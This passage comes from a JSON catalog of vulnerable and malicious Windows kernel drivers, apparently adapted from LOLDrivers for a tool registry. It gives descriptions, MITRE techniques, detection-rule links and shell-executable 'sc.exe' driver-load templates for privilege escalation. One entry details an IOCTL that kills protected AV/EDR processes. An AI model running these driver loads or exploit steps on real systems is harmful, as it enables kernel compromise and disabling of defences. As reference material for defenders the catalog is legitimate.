        "url": "https://github.com/BlackSnufkin/BYOVD"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create be6318413160e589080df02bb3ca6e6a.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\be6318413160e589080df02bb3ca6e6a.sys type=kernel && sc.exe start be6318413160e589080df02bb3ca6e6a.sys\"\n\n# be6318413160e589080df02bb3ca6e6a.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-be6318413160e589080df02bb3ca6e6a.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create be6318413160e589080df02bb3ca6e6a.sys binPath=C:\\windows\\temp\\be6318413160e589080df02bb3ca6e6a.sys type=kernel && sc.exe start be6318413160e589080df02bb3ca6e6a.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-be6318413160e589080df02bb3ca6e6a",
    "install": [
      {
        "method": "custom",
        "description": "Load be6318413160e589080df02bb3ca6e6a.sys kernel driver",
        "commands": [
          "sc.exe create be6318413160e589080df02bb3ca6e6a.sys binPath=C:\\windows\\temp\\be6318413160e589080df02bb3ca6e6a.sys type=kernel && sc.exe start be6318413160e589080df02bb3ca6e6a.sys"
        ]
      }
    ],
    "name": "be6318413160e589080df02bb3ca6e6a.sys",
    "namespace": "windows:kernel:be6318413160e589080df02bb3ca6e6a",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BEDaisy.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BEDaisy.sys type=kernel && sc.exe start BEDaisy.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver bedaisy.sys\"\n\n# bedaisy.sys\n\nBattlEye Anti-Cheat BEDAISY.SYS PPL privesc.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bedaisy.md",
    "author": "Wack0",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BattlEye Anti-Cheat BEDAISY.SYS PPL privesc.",
    "execution": {
      "template": "sc.exe create BEDaisy.sys binPath=C:\\windows\\temp\\BEDaisy.sys type=kernel && sc.exe start BEDaisy.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bedaisy",
    "install": [
      {
        "method": "custom",
        "description": "Load bedaisy.sys kernel driver",
        "commands": [
          "sc.exe create BEDaisy.sys binPath=C:\\windows\\temp\\BEDaisy.sys type=kernel && sc.exe start BEDaisy.sys"
        ]
      }
    ],
    "name": "bedaisy.sys",
    "namespace": "windows:kernel:bedaisy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/23"
      },
      {
        "label": "Reference",
        "url": "https://infosec.exchange/@Rairii/109310279380973806"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create bin_intigua_driver64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\bin_intigua_driver64.sys type=kernel && sc.exe start bin_intigua_driver64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver bin_intigua_driver64.sys\"\n\n# bin_intigua_driver64.sys\n\nbin_intigua_driver64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bin-intigua-driver64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "bin_intigua_driver64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create bin_intigua_driver64 binPath=C:\\windows\\temp\\bin_intigua_driver64.sys type=kernel && sc.exe start bin_intigua_driver64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-bin-intigua-driver64",
    "install": [
      {
        "method": "custom",
        "description": "Load bin_intigua_driver64.sys kernel driver",
        "commands": [
          "sc.exe create bin_intigua_driver64 binPath=C:\\windows\\temp\\bin_intigua_driver64.sys type=kernel && sc.exe start bin_intigua_driver64"
        ]
      }
    ],
    "name": "bin_intigua_driver64.sys",
    "namespace": "windows:kernel:bin-intigua-driver64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BioNTdrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BioNTdrv.sys type=kernel && sc.exe start BioNTdrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BioNTdrv.sys\"\n\n# BioNTdrv.sys\n\nMicrosoft has identified five security flaws in the Paragon Partition Manager BioNTdrv.sys driver, one of which was exploited by ransomware gangs in zero-day attacks to gain SYSTEM privileges on Windows systems. These vulnerabilities, found in BioNTdrv.sys versions 1.3.0 and 1.5.1, enable attackers to escalate their privileges to SYSTEM level to a higher access level than standard administrator permissions.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-biontdrv.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Microsoft has identified five security flaws in the Paragon Partition Manager BioNTdrv.sys driver, one of which was exploited by ransomware gangs in zero-day attacks to gain SYSTEM privileges on Windows systems. These vulnerabilities, found in BioNTdrv.sys versions 1.3.0 and 1.5.1, enable attackers to escalate their privileges to SYSTEM level to a higher access level than standard administrator permissions.",
    "execution": {
      "template": "sc.exe create BioNTdrv.sys binPath=C:\\windows\\temp\\BioNTdrv.sys type=kernel && sc.exe start BioNTdrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-biontdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load BioNTdrv.sys kernel driver",
        "commands": [
          "sc.exe create BioNTdrv.sys binPath=C:\\windows\\temp\\BioNTdrv.sys type=kernel && sc.exe start BioNTdrv.sys"
        ]
      }
    ],
    "name": "BioNTdrv.sys",
    "namespace": "windows:kernel:biontdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.sdxcentral.com/alerts/paragon-partition-manager-driver-flaws-enable-privilege-escalation-and-dos-attacks/2025/02/"
      },
      {
        "label": "Reference",
        "url": "https://www.bleepingcomputer.com/news/security/ransomware-gangs-exploit-paragon-partition-manager-bug-in-byovd-attacks/"
      },
      {
        "label": "Reference",
        "url": "https://paragon-software.zendesk.com/hc/en-us/articles/32993902732817-IMPORTANT-Paragon-Driver-Security-Patch-for-All-Products-of-Hard-Disk-Manager-Product-Line-Biontdrv-sys"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BiosToolCommonDriver binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BiosToolCommonDriver.sys type=kernel && sc.exe start BiosToolCommonDriver\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BiosToolCommonDriver.sys\"\n\n# BiosToolCommonDriver.sys\n\nBiosToolCommonDriver.sys is an AMD RPMC (Replay Protected Monotonic Counter) field fusing utility driver that exposes 18 IOCTLs including arbitrary physical memory read/write via MmMapIoSpace, unrestricted port I/O, PCI configuration space read/write, MSR read/write (wrmsr/rdmsr), SPI flash read, CPUID execution, virtual-to-physical address translation via MmGetPhysicalAddress, and contiguous memory allocation. WHQL Microsoft-signed and also AMD Sectigo dual-signed. Ships inside Razer Blade 16 BIOS update packages and ASUS firmware config bundles. PDB path confirms AMD internal build origin.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-biostoolcommondriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BiosToolCommonDriver.sys is an AMD RPMC (Replay Protected Monotonic Counter) field fusing utility driver that exposes 18 IOCTLs including arbitrary physical memory read/write via MmMapIoSpace, unrestricted port I/O, PCI configuration space read/write, MSR read/write (wrmsr/rdmsr), SPI flash read, CPUID execution, virtual-to-physical address translation via MmGetPhysicalAddress, and contiguous memory allocation. WHQL Microsoft-signed and also AMD Sectigo dual-signed. Ships inside Razer Blade 1...",
    "execution": {
      "template": "sc.exe create BiosToolCommonDriver binPath=C:\\windows\\temp\\BiosToolCommonDriver.sys type=kernel && sc.exe start BiosToolCommonDriver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-biostoolcommondriver",
    "install": [
      {
        "method": "custom",
        "description": "Load BiosToolCommonDriver.sys kernel driver",
        "commands": [
          "sc.exe create BiosToolCommonDriver binPath=C:\\windows\\temp\\BiosToolCommonDriver.sys type=kernel && sc.exe start BiosToolCommonDriver"
        ]
      }
    ],
    "name": "BiosToolCommonDriver.sys",
    "namespace": "windows:kernel:biostoolcommondriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/321"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Black.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Black.sys type=kernel && sc.exe start Black.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Black.sys\"\n\n# Black.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-black.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create Black.sys binPath=C:\\windows\\temp\\Black.sys type=kernel && sc.exe start Black.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-black",
    "install": [
      {
        "method": "custom",
        "description": "Load Black.sys kernel driver",
        "commands": [
          "sc.exe create Black.sys binPath=C:\\windows\\temp\\Black.sys type=kernel && sc.exe start Black.sys"
        ]
      }
    ],
    "name": "Black.sys",
    "namespace": "windows:kernel:black",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Blackbone.sys binPath=C:\\\\windows\\\\temp\\\\Blackbone.sys type=kernel && sc.exe start Blackbone.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Blackbone.sys\"\n\n# Blackbone.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-blackbone.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-blackbone",
    "name": "Blackbone.sys",
    "namespace": "windows:kernel:blackbone",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BlackBoneDrv10.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BlackBoneDrv10.sys     type=kernel && sc.exe start BlackBoneDrv10.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BlackBoneDrv10.sys\"\n\n# BlackBoneDrv10.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-blackbonedrv10.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create BlackBoneDrv10.sys binPath=C:\\windows\\temp\\BlackBoneDrv10.sys     type=kernel && sc.exe start BlackBoneDrv10.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-blackbonedrv10",
    "install": [
      {
        "method": "custom",
        "description": "Load BlackBoneDrv10.sys kernel driver",
        "commands": [
          "sc.exe create BlackBoneDrv10.sys binPath=C:\\windows\\temp\\BlackBoneDrv10.sys     type=kernel && sc.exe start BlackBoneDrv10.sys"
        ]
      }
    ],
    "name": "BlackBoneDrv10.sys",
    "namespace": "windows:kernel:blackbonedrv10",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create blacklotus_driver.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\blacklotus_driver.sys type=kernel && sc.exe start blacklotus_driver.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver blacklotus_driver.sys\"\n\n# blacklotus_driver.sys\n\nThe first in-the-wild UEFI bootkit bypassing UEFI Secure Boot on fully updated UEFI systems is now a reality. Once the persistence is configured, the BlackLotus bootkit is executed on every system start. The bootkits goal is to deploy a kernel driver and a final user-mode component.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-blacklotus-driver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The first in-the-wild UEFI bootkit bypassing UEFI Secure Boot on fully updated UEFI systems is now a reality. Once the persistence is configured, the BlackLotus bootkit is executed on every system start. The bootkits goal is to deploy a kernel driver and a final user-mode component.",
    "execution": {
      "template": "sc.exe create blacklotus_driver.sys binPath=C:\\windows\\temp\\blacklotus_driver.sys type=kernel && sc.exe start blacklotus_driver.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-blacklotus-driver",
    "install": [
      {
        "method": "custom",
        "description": "Load blacklotus_driver.sys kernel driver",
        "commands": [
          "sc.exe create blacklotus_driver.sys binPath=C:\\windows\\temp\\blacklotus_driver.sys type=kernel && sc.exe start blacklotus_driver.sys"
        ]
      }
    ],
    "name": "blacklotus_driver.sys",
    "namespace": "windows:kernel:blacklotus-driver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BootRepair binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BootRepair.sys type=kernel && sc.exe start BootRepair\"\n\n# bootrepair.sys\n\nBootRepair.sys is a legitimate Lenovo kernel driver shipped with Lenovo PC Manager (signed by LENOVO via Symantec Class 3 SHA256 Code Signing CA, compile date 2018-01-03). The driver creates a device object at \\\\.\\BootRepair with no DACL restrictions, so any local user can open a handle. The IRP_MJ_DEVICE_CONTROL dispatcher accepts IOCTL 0x222014 with a 4-byte DWORD input (target PID) and chains PsLookupProcessByProcessId -> ObOpenObjectByPointer -> ZwTerminateProcess against the supplied PID, with no caller validation. Because the kernel-mode caller bypasses user-mode access checks, the primitive can terminate any process on the system including PPL-protected AV/EDR processes. The driver also imports ZwCreateKey / ZwSetValueKey / ZwQueryValueKey (registry access for the boot-repair feature), PsCreateSystemThread / IoRegisterShutdownNotification, and KeBugCheckEx.\n\n**Use Case:** Terminate arbitrary processes from kernel mode (including PPL-protected AV/EDR processes) via an unauthenticated IOCTL handler.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bootrepair.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BootRepair.sys is a legitimate Lenovo kernel driver shipped with Lenovo PC Manager (signed by LENOVO via Symantec Class 3 SHA256 Code Signing CA, compile date 2018-01-03). The driver creates a device object at \\\\.\\BootRepair with no DACL restrictions, so any local user can open a handle. The IRP_MJ_DEVICE_CONTROL dispatcher accepts IOCTL 0x222014 with a 4-byte DWORD input (target PID) and chains PsLookupProcessByProcessId -> ObOpenObjectByPointer -> ZwTerminateProcess against the supplied PID...",
    "execution": {
      "template": "sc.exe create BootRepair binPath=C:\\windows\\temp\\BootRepair.sys type=kernel && sc.exe start BootRepair",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "local",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-bootrepair",
    "install": [
      {
        "method": "custom",
        "description": "Load bootrepair.sys kernel driver",
        "commands": [
          "sc.exe create BootRepair binPath=C:\\windows\\temp\\BootRepair.sys type=kernel && sc.exe start BootRepair"
        ]
      }
    ],
    "name": "bootrepair.sys",
    "namespace": "windows:kernel:bootrepair",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://medium.com/@jehadbudagga/phantom-killer-reverse-engineering-and-weaponizing-a-lenovo-driver-to-terminate-edr-processes-9191cd06374f"
      },
      {
        "label": "Reference",
        "url": "https://github.com/redteamfortress/PhantomKiller"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Bs_Def.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Bs_Def.sys type=kernel && sc.exe start Bs_Def.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Bs_Def.sys\"\n\n# Bs_Def.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-def.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/5f5e5f1c93d961985624768b7c676d488c7c7c1d4c043f6fc1ea1904fefb75be.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create Bs_Def.sys binPath=C:\\windows\\temp\\Bs_Def.sys type=kernel && sc.exe start Bs_Def.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-def",
    "install": [
      {
        "method": "custom",
        "description": "Load Bs_Def.sys kernel driver",
        "commands": [
          "sc.exe create Bs_Def.sys binPath=C:\\windows\\temp\\Bs_Def.sys type=kernel && sc.exe start Bs_Def.sys"
        ]
      }
    ],
    "name": "Bs_Def.sys",
    "namespace": "windows:kernel:bs-def",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_Def64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_Def64.sys type=kernel && sc.exe start BS_Def64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_Def64.sys\"\n\n# BS_Def64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-def64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/0040153302b88bee27eb4f1eca6855039e1a057370f5e8c615724fa5215bada3.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/3326e2d32bbabd69feb6024809afc56c7e39241ebe70a53728c77e80995422a5.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/36b9e31240ab0341873c7092b63e2e0f2cab2962ebf9b25271c3a1216b7669eb.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create BS_Def64.sys binPath=C:\\windows\\temp\\BS_Def64.sys type=kernel && sc.exe start BS_Def64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-def64",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_Def64.sys kernel driver",
        "commands": [
          "sc.exe create BS_Def64.sys binPath=C:\\windows\\temp\\BS_Def64.sys type=kernel && sc.exe start BS_Def64.sys"
        ]
      }
    ],
    "name": "BS_Def64.sys",
    "namespace": "windows:kernel:bs-def64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_Flash64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_Flash64.sys type=kernel && sc.exe start BS_Flash64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_Flash64.sys\"\n\n# BS_Flash64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-flash64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create BS_Flash64.sys binPath=C:\\windows\\temp\\BS_Flash64.sys type=kernel && sc.exe start BS_Flash64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-flash64",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_Flash64.sys kernel driver",
        "commands": [
          "sc.exe create BS_Flash64.sys binPath=C:\\windows\\temp\\BS_Flash64.sys type=kernel && sc.exe start BS_Flash64.sys"
        ]
      }
    ],
    "name": "BS_Flash64.sys",
    "namespace": "windows:kernel:bs-flash64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
